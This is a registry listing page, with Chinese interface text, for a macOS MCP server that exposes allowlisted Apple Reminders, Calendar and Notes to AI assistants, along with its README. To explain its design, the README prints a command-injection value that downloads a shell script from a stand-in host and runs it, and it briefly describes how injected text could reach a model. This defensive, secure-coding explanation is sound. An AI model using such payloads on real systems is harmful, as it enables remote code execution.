Mac Organiser Mcp

io.github.nicksull由 GitHub 帳號 nicksull 發布v0.2.0更新於 Oct 30, 2026

Privacy-focused MCP server for Apple Reminders, Calendar and Notes on macOS.

已驗證STDIO僅桌面效率與工作流檔案與儲存

概覽

AI 產生的概覽

本機 macOS MCP 伺服器,讓助理讀寫 Apple 提醒事項、行事曆與備忘錄,且僅限白名單中的列表、行事曆與資料夾。

可以做什麼
  • 列出允許的提醒列表,取得與搜尋提醒,並建立、更新或刪除提醒
  • 列出允許的行事曆,依日期範圍讀取事件(重複事件展開為實際發生項目),並建立、更新或刪除事件
  • 列出允許的備忘錄資料夾,依標題尋找備忘錄,讀取單一備忘錄的純文字,並建立備忘錄或附加文字
  • 每個應用程式預設關閉,可依應用程式關閉寫入,刪除工具僅在明確開啟後才會出現
適用情境
適合希望助理在 Mac 上管理個人提醒、行事曆事件與備忘錄,又不想暴露全部 Apple 資料的情況。適合重視嚴格白名單、不希望資料經由網際網路存取的使用者。
執行需求
在 macOS 14 Sonoma 或更新版本、Node.js 20 或更新版本上以 stdio 本機執行,可透過 npx 或原始碼啟動。所有設定皆透過環境變數完成,例如 MAC_ORGANISER_APPS、REMINDERS_LISTS、CALENDAR_CALENDARS 與 NOTES_FOLDERS;行事曆與備忘錄白名單為必填。首次使用時 macOS 會向宿主應用程式授予自動化、行事曆與提醒事項權限。Mac 需保持喚醒。
安裝前請注意
工具回傳的任何內容都會作為對話的一部分傳送給模型供應商,因此白名單應盡量收緊。寫入操作會建立、更新與附加資料,刪除工具需透過 REMINDERS_ALLOW_DELETE 與 CALENDAR_ALLOW_DELETE 明確開啟。macOS 權限屬於宿主應用程式,該應用程式內執行的其他程式也會取得相同權限。不要透過公開通道暴露它。

安裝

在 SourceWeft 中

  1. 開啟 儀表板中的 Mac Organiser Mcp,將其新增到工作區。
  2. 為需要使用其工具的對話啟用該服務。

Desktop only,透過 STDIO。 STDIO 服務會啟動本機處理程序,因此需要 SourceWeft 桌面主機。

其他 MCP 客戶端

參照 儲存庫 中的啟動說明。

README

[Mac Organiser MCP: Reminders, Calendar and Notes for your AI assistant, on your terms.]

Mac Organiser MCP

Reminders, Calendar and Notes for your AI assistant, on your terms.
Only the lists, calendars and folders you choose. Nothing else leaves the app.

[macOS 14+] [Node 20+] [MCP] [TypeScript] [Network calls: 0] [Live tests: 43 passing] [Licence: MIT]

WHY  ·  TOOLS  ·  PRIVACY  ·  QUICK START  ·  CONFIGURATION  ·  HOW IT WORKS


[圖片]

Why

Most Apple MCP servers paste whatever the model sends straight into an AppleScript or a shell command. That means any text the model reads, such as a web page, an email or a shared Reminders list someone else can edit, can become a command running as you. They also tend to hand the model everything: every reminder, every note, every calendar.

This one takes the opposite approach on both counts:

  • 🔒 Nothing the model sends can ever run as code. Each app has one fixed script, and your data travels to it only as a value.
  • 🫥 Your assistant sees only what you allow. Lists, calendars and folders outside your allowlist are filtered inside the app itself, so they never reach the server, let alone the model.
  • ✉️ Nothing outward-facing. It can't invite anyone, notify anyone or load anything from the internet.

[!IMPORTANT] Anything a tool returns is sent to your model provider as part of the conversation. Allowlists are your main control over what that can include, so keep them tight.

[圖片]

What your assistant can do

Each app is off until you enable it. Writes can be switched off per app, and deletes are always opt-in.

ToolWhat it does
✅list_reminder_listsNames of the lists you've allowedread
get_remindersIncomplete reminders by default, optionally one listread
search_remindersCase-insensitive search on titles (and notes, if enabled)read
create_reminderTitle, list, notes, due date, prioritywrite
update_reminderRename, reschedule, clear the due date, re-prioritise, completewrite
delete_reminderPermanent deleteopt-in
📅list_calendarsThe calendars you've allowed, with account and whether they're writableread
get_eventsEvents in a range, recurring events expanded into real occurrencesread
create_eventTimed or all-day, with location and notes. Never with attendeeswrite
update_eventEdits one event, or one occurrence of a recurring serieswrite
delete_eventRemoves one event or one occurrenceopt-in
🗒️list_note_foldersThe folders you've allowedread
find_notesTitles only, newest first, optional text searchread
get_noteA note's plain text (capped length)read
create_noteA new plain-text notewrite
append_to_noteAdds text to the end of a plain notewrite

Dates are ISO 8601: 2026-10-29, 2026-10-29T14:00 (your local time) or 2026-10-29T14:00+11:00.

[圖片]

Private by default

DefaultOpt in with
Apps exposednoneMAC_ORGANISER_APPS=reminders,calendar,notes
Calendars visiblenone (allowlist required)CALENDAR_CALENDARS="Work,Home", or * for all
Notes folders visiblenone (allowlist required)NOTES_FOLDERS="AI", or * for all
Reminder notesnever returnedREMINDERS_ALLOW_NOTES=1, then includeNotes per call
Event location, notes, URLnever returnedCALENDAR_ALLOW_DETAILS=1, then includeDetails per call
Completed remindershiddencompleted: true per call
Note contentsonly via get_note, one note at a time
Delete toolsnot exposedREMINDERS_ALLOW_DELETE=1, CALENDAR_ALLOW_DELETE=1

Never returned, whatever you set: event attendees, reminder creation and modification dates, the Recently Deleted notes folder, and the contents of locked notes.

[圖片]

Quick start

Requirements

macOS14 Sonoma or later (Calendar uses EventKit's full-access API)
Node.js20 or later
ClientAny MCP client that can launch a local (stdio) server. See Works with

Install

Nothing to install: your MCP client runs it from npm with npx -y mac-organiser-mcp, as in the configs below.

Run from source instead
bash
git clone https://github.com/nicksull/mac-organiser-mcp ~/repos/mac-organiser-mcpcd ~/repos/mac-organiser-mcpnpm cinpm run build

Then use node and the full path to dist/index.js in place of npx and -y mac-organiser-mcp.

Works with

It's a standard Model Context Protocol server that runs locally over stdio, so it isn't tied to any one assistant. Every client needs the same three things: the command npx, the arguments -y mac-organiser-mcp, and your settings as environment variables.

ClientWhere the config goes
Claude Codeclaude mcp add (below)
Claude Desktop~/Library/Application Support/Claude/claude_desktop_config.json
Cursor~/.cursor/mcp.json
Windsurf~/.codeium/windsurf/mcp_config.json
VS Code (agent mode).vscode/mcp.json in a workspace, or your user mcp.json
OpenAI Codex CLI~/.codex/config.toml
ChatGPT app❌ Not supported: ChatGPT only connects to remote servers over HTTP

[!WARNING] You can put a local MCP server behind a public HTTPS tunnel so ChatGPT can reach it, but don't do that with this one. It would put your Reminders, Calendar and Notes on an internet-facing endpoint, which defeats the point of the design.

Claude Code
bash
claude mcp add -s user mac-organiser \  -e MAC_ORGANISER_APPS=reminders,calendar,notes \  -e REMINDERS_LISTS="Reminders,Groceries" \  -e CALENDAR_CALENDARS="Work,Home" \  -e NOTES_FOLDERS="AI" \  -- npx -y mac-organiser-mcp
Claude Desktop · Cursor · Windsurf

All three use the same mcpServers shape:

json
{  "mcpServers": {    "mac-organiser": {      "command": "npx",      "args": ["-y", "mac-organiser-mcp"],      "env": {        "MAC_ORGANISER_APPS": "reminders,calendar,notes",        "REMINDERS_LISTS": "Reminders,Groceries",        "CALENDAR_CALENDARS": "Work,Home",        "NOTES_FOLDERS": "AI"      }    }  }}

[!IMPORTANT]

  • GUI apps don't load your shell PATH. If Node comes from nvm, fnm or asdf, set "command" to the output of which npx (e.g. /Users/you/.nvm/versions/node/v22.x.x/bin/npx).
  • Claude Desktop only reads its config at launch, so quit it fully (⌘Q) and reopen after editing.
VS Code

VS Code uses servers and an explicit type:

json
{  "servers": {    "mac-organiser": {      "type": "stdio",      "command": "npx",      "args": ["-y", "mac-organiser-mcp"],      "env": {        "MAC_ORGANISER_APPS": "reminders,calendar,notes",        "REMINDERS_LISTS": "Reminders,Groceries",        "CALENDAR_CALENDARS": "Work,Home",        "NOTES_FOLDERS": "AI"      }    }  }}
OpenAI Codex CLI
toml
[mcp_servers.mac-organiser]command = "npx"args = ["-y", "mac-organiser-mcp"]
[mcp_servers.mac-organiser.env]MAC_ORGANISER_APPS = "reminders,calendar,notes"REMINDERS_LISTS = "Reminders,Groceries"CALENDAR_CALENDARS = "Work,Home"NOTES_FOLDERS = "AI"

Config formats change between client versions; if one doesn't match, check that client's MCP docs.

[!TIP] A dedicated Notes folder (say, AI) makes a great allowlist: a scratchpad your assistant can read and write, while the rest of your notes stay out of reach.

Permissions

macOS asks once per app the first time it's used. Click Allow.

AppWhere to review it
Reminders, NotesSystem Settings › Privacy & Security › Automation
CalendarSystem Settings › Privacy & Security › Calendars (full access)
Reminders, only for clearing a due dateSystem Settings › Privacy & Security › Reminders (full access)

[!NOTE] These permissions belong to the host app (Terminal, Cursor, VS Code, Claude Desktop…), not to this server. Anything else running inside that app gets the same access. The first Calendar call waits up to 40 seconds for you to answer the prompt.

[圖片]

Configuration

Everything is an environment variable. Flags take 1, true or yes.

VariableDefault
MAC_ORGANISER_APPS(none)Comma-separated: reminders, calendar, notes
REMINDERS_LISTSall listsList-name allowlist; * for all
REMINDERS_ALLOW_NOTESoffLets the model request reminder notes
REMINDERS_READ_ONLYoffHides create and update
REMINDERS_ALLOW_DELETEoffExposes delete_reminder
REMINDERS_MAX_RESULTS50Up to 500
CALENDAR_CALENDARSrequiredCalendar names or ids; * for all
CALENDAR_ALLOW_DETAILSoffLets the model request location, notes and URL
CALENDAR_READ_ONLYoffHides create and update
CALENDAR_ALLOW_DELETEoffExposes delete_event
CALENDAR_MAX_RESULTS100Up to 1000
NOTES_FOLDERSrequiredFolder names; * for all
NOTES_READ_ONLYoffHides create and append
NOTES_MAX_RESULTS50Up to 500
NOTES_MAX_CHARS20000Longest text get_note returns, up to 200000

If an app is enabled without its required allowlist, it stays off and the server says why on stderr.

[圖片]

How it works

mermaid
flowchart LR    client["AI client<br/>(Claude, Cursor, Codex…)"] -->|"tool call (JSON)"| zod
    subgraph server["Mac Organiser MCP · Node"]        zod["Validate every argument<br/>(zod: IDs, dates, lengths)"]        exec["execFile osascript<br/>no shell"]        zod --> exec    end
    subgraph mac["Inside the Apple app"]        script["Fixed JXA script<br/>request arrives as one JSON value"]        filter{"In your<br/>allowlist?"}        data[("Reminders · Calendar · Notes")]        script --> filter        filter -->|yes| data        filter -.->|no: 'not found'| script    end
    exec -->|argv| script    data -->|only allowed fields| exec    exec -->|result| client

Why injection can't happen

The usual pattern builds a script out of the model's text, so a stray ' or " turns data into code:

ts
// ❌ What many Apple MCP servers doexec(`osascript -e 'set name of r to "${name}"'`);//   name = `x'; curl evil.sh | sh; #`  →  runs curl

Here the script text never changes. The request is handed over as a separate argument, without a shell, and only ever read as data:

ts
// ✅ Mac Organiser MCPexecFile('/usr/bin/osascript', ['-l', 'JavaScript', '-e', SCRIPT, JSON.stringify(request)]);
js
// Inside SCRIPTfunction run(argv) { return handle(JSON.parse(argv[0])); }

The live test suite sends exactly those payloads, among others, and checks that they're stored as plain text.

Engines

AppEngineWhy
RemindersReminders scripting (JXA)Fast enough in bulk. EventKit is used for one thing scripting can't do: clearing a due date
CalendarEventKit via the JXA ObjC bridgeMuch faster than scripting Calendar.app, and it expands recurring events correctly
NotesNotes scripting (JXA)Notes has no public framework
[圖片]

Ground rules

Every change is held to these.

  1. No code is ever built from input. Scripts are fixed text; requests travel only as data.
  2. Filter at the source. Allowlists and field limits are enforced inside the Apple app, so hidden data never reaches Node, logs or the model.
  3. Outside the allowlist means "not found". For reads and writes alike, with no hint that something exists.
  4. Nothing outward-facing. No attendees, no invitations, no update emails, no network calls. Events with attendees are read-only here.
  5. Never destroy what you can't restore. Deletes are opt-in. Notes are never overwritten or deleted, and recurring events are only ever changed one occurrence at a time.
  6. Text stays text. Notes content is HTML-escaped, so the model can't add links, markup or tracking images.
  7. Validate everything. IDs, dates, priorities and lengths are checked before anything runs, as a second line of defence.
  8. Pinned dependencies. Exact versions with a lockfile, two runtime dependencies, no install scripts.
[圖片]

Limits

  • Notes: no edit or delete. Notes can only be scripted by replacing a note's whole body, which can lose attachments, checklists and tables. For the same reason, append_to_note refuses notes that contain attachments, lists, tables or images.
  • Calendar: no recurrence rules on new events, and events with attendees can't be changed or deleted here. Use Calendar.app for those.
  • Reminders: no subtasks, tags, flags or locations; the scripting interface doesn't expose them.
  • Duplicate names: if two calendars share a name, use the calendar id from list_calendars. Two Notes folders with the same name need renaming.
  • macOS only, and the Mac has to be awake: everything runs locally.
[圖片]

Development

CommandWhat it does
npm run buildCompile TypeScript to dist/
npm startRun the server on stdio
npm run test:liveEnd-to-end test against the real apps (see below)

Live tests

bash
npm run build && npm run test:live

The suite creates an MCP Test reminders list, calendar and notes folder, locks every allowlist to them and runs all 16 tools through a real MCP client: 43 checks, including injection payloads, allowlist escapes, recurring-event occurrences and due-date clearing. It deletes the fixtures when it's done, and it won't start if anything called MCP Test already exists. None of your other data is read.

Layout

text
src/  index.ts        Registers each enabled app  config.ts       Environment variables and their defaults  osascript.ts    Runs a fixed JXA script with one JSON argument; shared helpers  reminders.ts    Reminders tools and script  calendar.ts     Calendar tools and EventKit script  notes.ts        Notes tools and scripttest/  live.mjs        End-to-end suite over MCP  fixtures.js     Creates and removes the MCP Test fixtures

Licence

MIT © 2026 Nick Sullivan

來源:README.md,提交 4843661

工具

0
SourceWeft 曾在隔離沙箱中以無憑證方式啟動該軟體包一次,以列出其工具,但未能完成:軟體包安裝失敗。

版本歷史

1
  1. v0.2.0最新Oct 30, 2026

評分

已滿足適用檢查項的 50%

該評分衡量此收錄條目的完整程度,依據註冊中心條目、端點與公開來源計算得出。它不是對伺服器本身的評價,也不表示伺服器安全或目前可用:可連通性是帶日期的檢查結果,評分也不包含安裝量或使用者評價。

  • 近 30 天內可連通25 分

    請保持端點能夠回應 MCP 握手;SourceWeft 每 30 天探測一次。

  • 已宣告認證方式10 分

    請在註冊中心條目中宣告憑證請求標頭,或保持端點能夠回應探測,以便判定其認證方式。

  • 已列出工具15 分

    請讓伺服器在無憑證時回應 tools/list,或發布可在沙箱中無憑證啟動的軟體包。

  • 描述必需15 分
  • 圖示10 分
  • 文件15 分
  • 授權條款10 分